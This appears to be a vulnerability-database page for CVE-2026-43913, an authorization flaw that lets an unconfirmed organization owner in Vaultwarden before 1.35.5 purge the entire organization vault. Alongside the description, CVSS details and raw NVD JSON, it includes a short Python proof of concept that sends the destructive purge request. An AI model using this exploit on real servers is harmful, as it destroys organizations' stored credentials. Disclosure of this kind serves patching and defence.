CVE-2026-43913

Description

Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden allows an unconfirmed organization owner to purge the entire organization vault. The organization invite flow uses a two-step process: accepting an invite transitions membership from Invited to Accepted, and a separate confirmation by an existing owner upgrades it to Confirmed. The POST /api/ciphers/purge endpoint uses plain Headers and only checks that the membership type is Owner without verifying that the membership status is Confirmed. An authenticated user who has been invited as an organization owner and has accepted the invite and has not yet been confirmed can call this endpoint to hard-delete all ciphers and attachments in the organization, causing immediate organization-wide data loss. This vulnerability is fixed in 1.35.5.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Vaultwarden < 1.35.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "https://target-vaultwarden-server/api/ciphers/purge"

# Auth token of an unconfirmed owner (Accepted status)
# Obtained after logging in and accepting the invite
headers = {
    "Authorization": "Bearer <UNCONFIRMED_OWNER_TOKEN>",
    "Content-Type": "application/json"
}

try:
    # Send the purge request
    response = requests.post(url, headers=headers)
    
    if response.status_code == 200:
        print("[+] Success: Organization purged.")
    else:
        print(f"[-] Failed: Status code {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43913
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43913
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43913/
[4] VulDB https://vuldb.com/cve/CVE-2026-43913
[5] https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-937x-3j8m-7w7p

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43913", "sourceIdentifier": "[email protected]", "published": "2026-05-11T23:20:22.120", "lastModified": "2026-05-11T23:20:22.120", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden allows an unconfirmed organization owner to purge the entire organization vault. The organization invite flow uses a two-step process: accepting an invite transitions membership from Invited to Accepted, and a separate confirmation by an existing owner upgrades it to Confirmed. The POST /api/ciphers/purge endpoint uses plain Headers and only checks that the membership type is Owner without verifying that the membership status is Confirmed. An authenticated user who has been invited as an organization owner and has accepted the invite and has not yet been confirmed can call this endpoint to hard-delete all ciphers and attachments in the organization,\ncausing immediate organization-wide data loss. This vulnerability is fixed in 1.35.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-937x-3j8m-7w7p", "source": "[email protected]"}]}}